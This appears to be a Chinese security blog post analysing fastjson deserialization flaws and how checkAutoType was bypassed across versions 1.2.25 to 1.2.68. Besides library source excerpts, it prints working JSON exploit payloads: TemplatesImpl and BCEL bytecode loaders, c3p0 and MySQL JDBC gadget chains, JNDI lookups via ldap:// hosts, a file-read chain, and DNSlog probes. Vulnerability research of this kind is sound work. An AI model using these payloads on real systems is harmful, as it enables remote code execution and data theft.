前言 fastjson在序列化以及反序列化的过程中并没有使用Java自带的序列化机制,,而是自定义了一套机制.使其利用角度不局限于传统的readobject,利用方法更加多元化,再加上其灵活全面的json解析方案,使得传统的流量waf很难做到有效拦截
由此可以看出强大的工具在提供便利开放的服务的同时,也会带来更多意想不到的安全问题  
fastjson序列化和反序列化 Fastjson 是一个高性能的 Java JSON 库,由阿里巴巴集团开发和维护。它提供了简单易用的 API,可以在Json 与Java Bean 对象之间进行快速、灵活的转换。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 public  class  People   {    private  String name = "mayylu" ;     private  int  age = 18 ;     public  String getName ()   {         return  name;     }     public  void  setName (String name)   {         this .name = name;     }     public  int  getAge ()  {         return  age;     }     public  void  setAge (int  age)  {         this .age = age;     } } import  com.alibaba.fastjson.*;public  class  test   {    public  static  void  main (String[] args)   {         People peo = new  People();         String Json = JSON.toJSONString(peo, SerializerFeature.WriteClassName);         JSONObject obj = JSON.parseObject(Json);         System.out.println(obj.getClass());         System.out.println(obj.get("age" ));         System.out.println(obj.get("name" ));     } } 
 
JSON.parse 和 JSON.parseObject parseObject 1 2 3 4 5 6 7 8 9 10 11 12     public  static  JSONObject parseObject (String text)   {         Object obj = parse(text);         if  (obj instanceof  JSONObject) {             return  (JSONObject) obj;         }         try  {             return  (JSONObject) JSON.toJSON(obj);         } catch  (RuntimeException e) {             throw  new  JSONException("can not cast to JSONObject." , e);         }     } 
 
parse getter/setter方法需要满足的要求 具体逻辑在 com.alibaba.fastjson.util.JavaBeanInfo.build()  中。目的是筛选目标类里复合要求的getter/setter方法 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 public  static  JavaBeanInfo build (Class<?> clazz, Type type, PropertyNamingStrategy propertyNamingStrategy)   {        JSONType jsonType = clazz.getAnnotation(JSONType.class);         Class<?> builderClass = getBuilderClass(jsonType);         Field[] declaredFields = clazz.getDeclaredFields();         Method[] methods = clazz.getMethods();         Constructor<?> defaultConstructor = getDefaultConstructor(builderClass == null  ? clazz : builderClass);         Constructor<?> creatorConstructor = null ;         Method buildMethod = null ;         List<FieldInfo> fieldList = new  ArrayList<FieldInfo>();         ...          if  (defaultConstructor != null ) {             TypeUtils.setAccessible(defaultConstructor);         }         for  (Method method : methods) {              int  ordinal = 0 , serialzeFeatures = 0 , parserFeatures = 0 ;             String methodName = method.getName();             if  (Modifier.isStatic(method.getModifiers())) {                 continue ;             }             Class<?> returnType = method.getReturnType();             if  (!(returnType.equals(Void.TYPE) || returnType.equals(method.getDeclaringClass())))              {                 continue ;             }             if  (method.getDeclaringClass() == Object.class) {                 continue ;             }             Class<?>[] types = method.getParameterTypes();             if  (types.length == 0  || types.length > 2 ) {                 continue ;             }             if  (annotation == null  && methodName.length() < 4 ) {                 continue ;             }              if  (annotation == null  && !methodName.startsWith("set" )) {                  continue ;             }             char  c3 = methodName.charAt(3 );             String propertyName;                          if  (Character.isUpperCase(c3)                      || c3 > 512                       ) {                 if  (TypeUtils.compatibleWithJavaBean) {                     propertyName = TypeUtils.decapitalize(methodName.substring(3 ));                 } else  {                     propertyName = Character.toLowerCase(methodName.charAt(3 )) + methodName.substring(4 );                 }             } else  if  (c3 == '_' ) {                 propertyName = methodName.substring(4 );             } else  if  (c3 == 'f' ) {                 propertyName = methodName.substring(3 );             } else  if  (methodName.length() >= 5  && Character.isUpperCase(methodName.charAt(4 ))) {                 propertyName = TypeUtils.decapitalize(methodName.substring(3 ));             } else  {                 continue ;             }          for  (Method method : methods) {              int  ordinal = 0 , serialzeFeatures = 0 , parserFeatures = 0 ;             String methodName = method.getName();             if  (methodName.length() < 4 ) {                 continue ;             }             if  (Modifier.isStatic(method.getModifiers())) {                 continue ;             }                     if  (builderClass == null  && methodName.startsWith("get" ) && Character.isUpperCase(methodName.charAt(3 ))) {                 if  (method.getParameterTypes().length != 0 ) {                     continue ;                 }                           if  (Collection.class.isAssignableFrom(method.getReturnType())                          || Map.class.isAssignableFrom(method.getReturnType())                          || AtomicBoolean.class == method.getReturnType()                          || AtomicInteger.class == method.getReturnType()                          || AtomicLong.class == method.getReturnType()                          ) {             FieldInfo fieldInfo = getField(fieldList, propertyName);                     if  (fieldInfo != null ) {                         continue ;                     }                 ..... 
 
如何寻找get/set方法 fastjson 在为类属性寻找 get/set 方法 时,调用函数 com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch()  方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 public  FieldDeserializer smartMatch (String key)   {       if  (key == null ) {            return  null ;        }        ....                if  (fieldDeserializer == null ) {            boolean  snakeOrkebab = false ;            String key2 = null ;                        for  (int  i = 0 ; i < key.length(); ++i) {                char  ch = key.charAt(i);                if  (ch == '_' ) {                    snakeOrkebab = true ;                    key2 = key.replaceAll("_" , "" );                    break ;                } else  if  (ch == '-' ) {                    snakeOrkebab = true ;                    key2 = key.replaceAll("-" , "" );                    break ;                }            }            ..... 
 
自动进行 base64 解码 如果 Field 类型为 byte[],将会调用com.alibaba.fastjson.parser.JSONScanner#bytesValue  进行 base64 解码,对应的,在序列化时也会进行 base64 编码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 public  <T> T parseObject (Type type, Object fieldName)   {        int  token = lexer.token();         if  (token == JSONToken.NULL) {             lexer.nextToken();             return  null ;         }         if  (token == JSONToken.LITERAL_STRING) {             if  (type == byte [].class) {                 byte [] bytes = lexer.bytesValue();                 lexer.nextToken();                 return  (T) bytes;             }         public  byte [] bytesValue() {         return  IOUtils.decodeBase64(text, np + 1 , sp);     } 
 
突破parse调用getters的限制 根据build函数,parse 会识别并调用目标类的 setter 方法及某些特定条件的 getter 方法,而 parseObject 由于多执行了 JSON.toJSON(obj),所以在处理过程中会调用反序列化目标类的所有 setter 和 getter 方法
JSONObject嵌套 当前object为JSONObject类型时,将会对当前的这个key调用 toString 函数。JSONObject是Map的子类,在执行toString() 时会将当前类转为字符串形式,会提取类中所有的Field,自然会执行相应的 getter 、is等方法 
$ref 当fastjson版本>=1.2.36时,可以通过$ref指定被引用的属性 
 
Fastjson加载字节码 我们在利用 @type 构造有危害的利用链时,主要就是查找有危害的无参数的构造函数、符合条件的getter和setter。
TemplatesImpl利用链 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import  com.alibaba.fastjson.*;import  com.alibaba.fastjson.parser.Feature;public  class  test   {    public  static  void  main (String[] args)   {         String evilCode=Base64.getEncoder().encodeToString(new  byte [][]{ClassPool.getDefault().get(Evil.class.getName()).toBytecode()});         String json="{\"@type\": \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\n"  +                 "    \"_bytecodes\": [\"" +evilCode+"\"],\n"  +                 "    \"_name\": \"Code\",\n"  +                 "    \"_tfactory\": {},\n"  +                 "    \"_outputProperties\": {}\n"  +                 "  }\n"  +                 "}" ;         JSON.parseObject(json, Feature.SupportNonPublicField);     } } 
 
需要开启Feature.SupportNonPublicField,比较鸡肋
bcel利用链(在Java 8u251以后,bcel类被删除) 在前面我们说过bcel自定义的ClassLoader可以将传入的classname当作字节码来加载,所以我们只需要关注哪里可以自定义类加载器即可,我们找到了 org.apache.tomcat.dbcp.dbcp2.BasicDataSource  调用链:BasicDataSource.getConnection() > createDataSource()  > createConnectionFactory()
1 2 3 4 5 6 7 8 9 10 11 12 public  class  BasicDataSource  implements  DataSource , BasicDataSourceMXBean , MBeanRegistration , AutoCloseable   {protected  ConnectionFactory createConnectionFactory ()  throws  SQLException  {    ...     	if  (driverClassLoader == null ) { 			driverFromCCL = Class.forName(driverClassName); 	} else  { 			driverFromCCL = Class.forName(driverClassName, true , driverClassLoader); 	}     ... 
 
1 2 3 4 5 6 7 8 9 10 11 12 13 {     {         "@type" : "com.alibaba.fastjson.JSONObject" ,         "x" :{                 "@type" : "org.apache.tomcat.dbcp.dbcp2.BasicDataSource" ,                 "driverClassLoader" : {                     "@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader"                  },                 "driverClassName" : "$$BCEL$$$l$8b$I$A$..."          }     }: "x"  } 
 
c3p0二次反序列化 C3P0是一个开源的JDBC连接池,它实现了数据源和JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。使用它的开源项目有Hibernate、Spring等
1 2 3 4 {     "@type" : "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource" ,     "userOverridesAsString" : "HexAsciiSerializedMap:aced000...6f;"    } 
 
c3p0很久之前就遇到了,但是感觉这个链子没有什么新东西,就没有写博客,之前没写过,这里就详细写写
利用链 想解析userOverridesAsString属性,至少需要调用两次构造函数,第一次初始化时userOverridesAsString的值设为NULL,第二次为fastjson触发的set方法调用
懒得分析了真没什么特殊的地方 parseUserOverridesAsString:314, C3P0ImplUtils (com.mchange.v2.c3p0.impl) vetoableChange:110, WrapperConnectionPoolDataSource$1 (com.mchange.v2.c3p0) fireVetoableChange:375, VetoableChangeSupport (java.beans) fireVetoableChange:271, VetoableChangeSupport (java.beans) setUserOverridesAsString:387, WrapperConnectionPoolDataSourceBase (com.mchange.v2.c3p0.impl)
最后调用parseUserOverridesAsString方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 public  static  Map parseUserOverridesAsString (String userOverridesAsString)  throws  IOException, ClassNotFoundException  {      if  (userOverridesAsString != null ) {                      String hexAscii = userOverridesAsString.substring("HexAsciiSerializedMap" .length() + 1 , userOverridesAsString.length() - 1 );           byte [] serBytes = ByteUtils.fromHexAscii(hexAscii);           return  Collections.unmodifiableMap((Map)SerializableUtils.fromByteArray(serBytes));       } else  {           return  Collections.EMPTY_MAP;       }   }    public  static  Object fromByteArray (byte [] var0)  throws  IOException, ClassNotFoundException  {       Object var1 = deserializeFromByteArray(var0);       return  var1 instanceof  IndirectlySerialized ? ((IndirectlySerialized)var1).getObject() : var1;   }   public  static  Object deserializeFromByteArray (byte [] var0)  throws  IOException, ClassNotFoundException  {       ObjectInputStream var1 = new  ObjectInputStream(new  ByteArrayInputStream(var0));       return  var1.readObject();   } 
 
fastjson高版本绕过 fastjson-1.2.25 在版本 1.2.25 中,官方对之前的反序列化漏洞进行了修复,引入了 checkAutoType  安全机制
 可以看到示例代码已经无法执行了
添加反序列化白名单有3种方法: 1.使用代码进行添加:ParserConfig.getGlobalInstance().addAccept(“org.su18.fastjson.,org.javaweb.”) 2.加上JVM启动参数:-Dfastjson.parser.autoTypeAccept=org.su18.fastjson. 3.在fastjson.properties中添加:fastjson.parser.autoTypeAccept=org.su18.fastjson.
打开autotype功能 1、JVM启动参数     -Dfastjson.parser.autoTypeSupport=true
2、代码中设置     ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
checkAutoType com.alibaba.fastjson.parser.ParserConfig
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 public  Class<?> checkAutoType(String typeName, Class<?> expectClass) {        if  (typeName == null ) {             return  null ;         }         if  (autoTypeSupport || expectClass != null ) {             for  (int  i = 0 ; i < acceptList.length; ++i) {                 String accept = acceptList[i];                 if  (className.startsWith(accept)) {                     return  TypeUtils.loadClass(typeName, defaultClassLoader);                 }             }             for  (int  i = 0 ; i < denyList.length; ++i) {                 String deny = denyList[i];                 if  (className.startsWith(deny)) {                     throw  new  JSONException("autoType is not support. "  + typeName);                 }             }         }          Class<?> clazz = TypeUtils.getClassFromMapping(typeName);         if  (clazz == null ) {             clazz = deserializers.findClass(typeName);         }                  if  (clazz != null ) {             if  (expectClass != null  && !expectClass.isAssignableFrom(clazz)) {                 throw  new  JSONException("type not match. "  + typeName + " -> "  + expectClass.getName());             }             return  clazz;         }           if  (!autoTypeSupport) {             for  (int  i = 0 ; i < denyList.length; ++i) {                 String deny = denyList[i];                 if  (className.startsWith(deny)) {                     throw  new  JSONException("autoType is not support. "  + typeName);                 }             }             for  (int  i = 0 ; i < acceptList.length; ++i) {                 String accept = acceptList[i];                 if  (className.startsWith(accept)) {                     clazz = TypeUtils.loadClass(typeName, defaultClassLoader);                     if  (expectClass != null  && expectClass.isAssignableFrom(clazz)) {                         throw  new  JSONException("type not match. "  + typeName + " -> "  + expectClass.getName());                     }                     return  clazz;                 }             }         }          if  (clazz == null ) {             clazz = TypeUtils.getClassFromMapping(typeName);         }                  if  (clazz != null ) {             if  (TypeUtils.getAnnotation(clazz,JSONType.class) != null ) {                 return  clazz;             }         .....         if  (!autoTypeSupport) {             throw  new  JSONException("autoType is not support. "  + typeName);         }         if  (clazz == null ) {             clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false );         }         return  clazz;   
 
也就是说默认只能符合白名单检测 ,开启autoType****只有黑名单检测 
TypeUtils loadClass com.alibaba.fastjson.util.TypeUtils
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 public  static  Class<?> loadClass(String className, ClassLoader classLoader) {        if  (className == null  || className.length() == 0 ) {             return  null ;         }         Class<?> clazz = mappings.get(className);                  if  (clazz != null ) {             return  clazz;         }                  if  (className.charAt(0 ) == '[' ) {             Class<?> componentType = loadClass(className.substring(1 ), classLoader);             return  Array.newInstance(componentType, 0 ).getClass();         }         if  (className.startsWith("L" ) && className.endsWith(";" )) {             String newClassName = className.substring(1 , className.length() - 1 );             return  loadClass(newClassName, classLoader);         }         try {             if (classLoader != null ){                 clazz = classLoader.loadClass(className);                 if  (cache) {                     mappings.put(className, clazz);                 }                 return  clazz;             }         } 
 
示例 在开启开启 autoType的情况下,使用带有描述符的类绕过黑名单的限制,而在类加载过程中,描述符还会被处理掉。
1 2 3 4 5 {     "@type" :"Lcom.sun.rowset.JdbcRowSetImpl;" ,     "dataSourceName" :"ldap://127.0.0.1:23457/Command8" ,     "autoCommit" :true  } 
 
fastjson-1.2.42 改动一 作者将原本的明文黑名单转为使用了 Hash 黑名单 ,防止安全人员对其研究。(谜之操作) 
改动二 在checkAutoType开头处 进行判断,如果类的第一个字符是 L 结尾是 ;,则使用 substring进行了去除
1 2 3 4 5 6 7 8 9 10 11 final  long  BASIC = 0xcbf29ce484222325L ;        final  long  PRIME = 0x100000001b3L ;         if  ((((BASIC                 ^ className.charAt(0 ))                 * PRIME)                 ^ className.charAt(className.length() - 1 ))                 * PRIME == 0x9198507b5af98f0L )         {             className = className.substring(1 , className.length() - 1 );         } 
 
示例 只删了1次,双写绕过即可
1 2 3 4 5 {     "@type" :"LLcom.sun.rowset.JdbcRowSetImpl;;" ,     "dataSourceName" :"ldap://127.0.0.1:23457/Command8" ,     "autoCommit" :true  } 
 
fastjson 1.2.43 增加了限制:如果以L开头;结尾,并且开头是两个LL的话,将会抛出异常
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 if  ((((BASIC        ^ className.charAt(0 ))         * PRIME)         ^ className.charAt(className.length() - 1 ))         * PRIME == 0x9198507b5af98f0L ) {     if  ((((BASIC             ^ className.charAt(0 ))             * PRIME)             ^ className.charAt(1 ))             * PRIME == 0x9195c07b5af5345L )     {         throw  new  JSONException("autoType is not support. "  + typeName);     }          className = className.substring(1 , className.length() - 1 ); } 
 
示例 但是作者好像忘了‘[’
1 2 3 4 5 {     "@type" :"[com.sun.rowset.JdbcRowSetImpl" [,     {"dataSourceName" :"ldap://127.0.0.1:23457/Command8" ,     "autoCommit" :true  } 
 
fastjson-1.2.44 在此版本将 [ 也进行修复了之后,由字符串处理导致的黑名单绕过也就告一段落了。
fastjson-1.2.47(通杀) 1.2.25-1.2.32版本:未开启AutoTypeSupport时能成功利用,开启AutoTypeSupport反而不能成功触发;
1.2.33-1.2.47版本:无论是否开启AutoTypeSupport,都能成功利用;
 
可以看如果如果是白名单模式,只能使用@type加载白名单规定的类,JSONType,自定义转换类(如果有),和一些无害类,但是我们可以利用缓存机制进行绕过
checkAutoType 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 if  (autoTypeSupport || expectClass != null ) {          long  hash = h3;           for  (int  i = 3 ; i < className.length(); ++i) {               hash ^= className.charAt(i);               hash *= PRIME;               if  (Arrays.binarySearch(acceptHashCodes, hash) >= 0 ) {                   clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false );                   if  (clazz != null ) {                       return  clazz;                   }               }                              if  (Arrays.binarySearch(denyHashCodes, hash) >= 0  && TypeUtils.getClassFromMapping(typeName) == null ) {                   throw  new  JSONException("autoType is not support. "  + typeName);               }           }       }       if  (clazz == null ) {           clazz = TypeUtils.getClassFromMapping(typeName);       }       if  (clazz == null ) {           clazz = deserializers.findClass(typeName);       }       if  (clazz != null ) {           if  (expectClass != null                    && clazz != java.util.HashMap.class                   && !expectClass.isAssignableFrom(clazz)) {               throw  new  JSONException("type not match. "  + typeName + " -> "  + expectClass.getName());           }           return  clazz;       }        if  (!autoTypeSupport) {           long  hash = h3;           for  (int  i = 3 ; i < className.length(); ++i) {               char  c = className.charAt(i);               hash ^= c;               hash *= PRIME;                                if  (Arrays.binarySearch(denyHashCodes, hash) >= 0 ) {                   throw  new  JSONException("autoType is not support. "  + typeName);               }                                             if  (Arrays.binarySearch(acceptHashCodes, hash) >= 0 ) {                   if  (clazz == null ) {                       clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false );                   }                     if  (expectClass != null  && expectClass.isAssignableFrom(clazz)) {                       throw  new  JSONException("type not match. "  + typeName + " -> "  + expectClass.getName());                   }                     return  clazz;               }           }       }       ......       if  (clazz == null ) {           clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false );       } 
 
也就是说即使传入的类名在黑名单里,但是Mapping缓冲里有该类名也不会报错,并且直接返回
TypeUtils 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 public  class  TypeUtils  {         public  static  Class<?> getClassFromMapping(String className){         return  mappings.get(className);     }      public  static  Class<?> loadClass(String className, ClassLoader classLoader, boolean  cache) {           ...                  try {                          if (classLoader != null ){                 clazz = classLoader.loadClass(className);                                    if  (cache) {                     mappings.put(className, clazz);                 }                 return  clazz;             }         } catch (Throwable e){             e.printStackTrace();                      }         try {             ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();                            if (contextClassLoader != null  && contextClassLoader != classLoader){                 clazz = contextClassLoader.loadClass(className);                                    if  (cache) {                     mappings.put(className, clazz);                 }                 return  clazz;             }         } catch (Throwable e){                      }                    try {             clazz = Class.forName(className);             mappings.put(className, clazz);             return  clazz;         } catch (Throwable e){                      }         return  clazz;     } 
 
也就是说如果已经加载的类,当我们再次调用时,会直接加载,我们看看别的地方有没有也调用loadClass
MiscCodec 在MiscCodec中如果传入类是java.lang.Class,会解析 json 中 “val” 中的内容,并放入 objVal 中,如果不是 “val” 将会报错。最终作为参数调用loadClass方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 Object objVal;                    if  (parser.resolveStatus == DefaultJSONParser.TypeNameRedirect) {             parser.resolveStatus = DefaultJSONParser.NONE;             parser.accept(JSONToken.COMMA);               if  (lexer.token() == JSONToken.LITERAL_STRING) {                                    if  (!"val" .equals(lexer.stringVal())) {                     throw  new  JSONException("syntax error" );                 }                 lexer.nextToken();             } else  {                 throw  new  JSONException("syntax error" );             }               parser.accept(JSONToken.COLON);                            objVal = parser.parse();               parser.accept(JSONToken.RBRACE);         } else  {             objVal = parser.parse();         } String strVal;         if  (objVal == null ) {             strVal = null ;         } else  if  (objVal instanceof  String) {             strVal = (String) objVal;         } ..... if  (clazz == Class.class) {            return  (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());         } 
 
示例 1 2 3 4 5 6 7 8 9 10 11 12 {      "1" :{            "@type" :"java.lang.Class" ,            "val" :"com.sun.rowset.JdbcRowSetImpl"           }                 "2" :{                "@type" :"com.sun.rowset.JdbcRowSetImpl" ,            "dataSourceName" :"ldap://127.0.0.1:9999/EXP" ,            "autoCommit" :"true"           } } 
 
fastjson-1.2.68 官方在 1.2.48 对漏洞进行了修复,在 MiscCodec 处理 Class 类的地方,设置了cache 为 false ,并且 loadClass 重载方法的默认的调用改为不缓存
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36    public  Class<?> checkAutoType(String typeName, Class<?> expectClass, int  features) {     .............. if  (clazz == null ) {            clazz = TypeUtils.getClassFromMapping(typeName);         }  if  (clazz != null ) {             if  (expectClass != null                      && clazz != java.util.HashMap.class                     && !expectClass.isAssignableFrom(clazz)) {                  throw  new  JSONException("type not match. "  + typeName + " -> "  + expectClass.getName());             }             return  clazz;         }         .....         if  (!autoTypeSupport) { ...... if  (expectClass != null ) {                if  (expectClass.isAssignableFrom(clazz)) {                     TypeUtils.addMapping(typeName, clazz);                     return  clazz;                 } else  {                     throw  new  JSONException("type not match. "  + typeName + " -> "  + expectClass.getName());                 }             } if  (!autoTypeSupport) {            throw  new  JSONException("autoType is not support. "  + typeName);         }         if  (clazz != null ) {             TypeUtils.addMapping(typeName, clazz);         }          return  clazz; 
 
这种机制可以看成两个type,且第一个type已经在mapping中或是白名单中就可以顺利加载,并且可以成为第二个type的expectClass 第二个type,如果没有被过滤,并且是expectClass 的子类或实现,就会被加载并添加到缓存中
有可控的 expectClass 的入参方式 有AutoCloseable ,Throwable 等
1 2 3 4 5 6 7 8 9 {     "x" :{         "@type" :"java.lang.Exception" ,         "@type" :"org.openqa.selenium.WebDriverException"      },     "content" :{         "$ref" :"$x.systemInformation"      } } 
 
AutoCloseable绕过 这个java.lang.AutoCloseable接口存在于mapping的缓存中 所以只要找到一个类实现了AutoCloseable接口的类,并且这个类不存在于黑名单中就可以利用了
暂时不想写 收集了一些payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 {"name" : {"@type" : "java.lang.AutoCloseable" , "@type" : "com.mysql.jdbc.JDBC4Connection" , "hostToConnectTo" : "127.0.0.1" , "portToConnectTo" : 3306 , "info" : { "user" : "CommonsCollections5" , "password" : "pass" , "statementInterceptors" : "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor" , "autoDeserialize" : "true" , "NUM_HOSTS" : "1"  }} {"@type" :"java.lang.AutoCloseable" ,"@type" :"com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection" ,"proxy" : {"connectionString" :{"url" :"jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=CommonsCollections5" }}} {"@type" :"java.lang.AutoCloseable" ,"@type" :"com.mysql.cj.jdbc.ha.ReplicationMySQLConnection" ,"proxy" :{"@type" :"com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy" ,"connectionUrl" :{"@type" :"com.mysql.cj.conf.url.ReplicationConnectionUrl" , "masters" :[{"host" :"127.0.0.1" }], "slaves" :[],"properties" :{"host" :"127.0.0.1" ,"user" :"CommonsCollections5" ,"dbname" :"dbname" ,"password" :"pass" ,"queryInterceptors" :"com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor" ,"autoDeserialize" :"true" }}}} {     "abc" : {         "@type" : "java.lang.AutoCloseable" ,         "@type" : "org.apache.commons.io.input.BOMInputStream" ,         "delegate" : {             "@type" : "org.apache.commons.io.input.ReaderInputStream" ,             "reader" : {                 "@type" : "jdk.nashorn.api.scripting.URLReader" ,                 "url" : "file:///D:/1.txt"              },             "charsetName" : "UTF-8" ,             "bufferSize" : 1024          },         "boms" : [{             "charsetName" : "UTF-8" ,             "bytes" : [66 ]         }]     },     "address" : {         "$ref" : "$.abc.BOM"      } } 
 
实战 这里先贴几个版本探测的payload,个人感觉挺好用的Set[{"name":{"@type":"java.net.Inet4Address","val":"heknpm.dnslog.cn"}}]
[{"a":"a\x]
探测出网{"name":{"@type":"java.net.Inet4Address","val":"cx7xrs.ceye.io"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"wefewffw.dnslog.cn"}}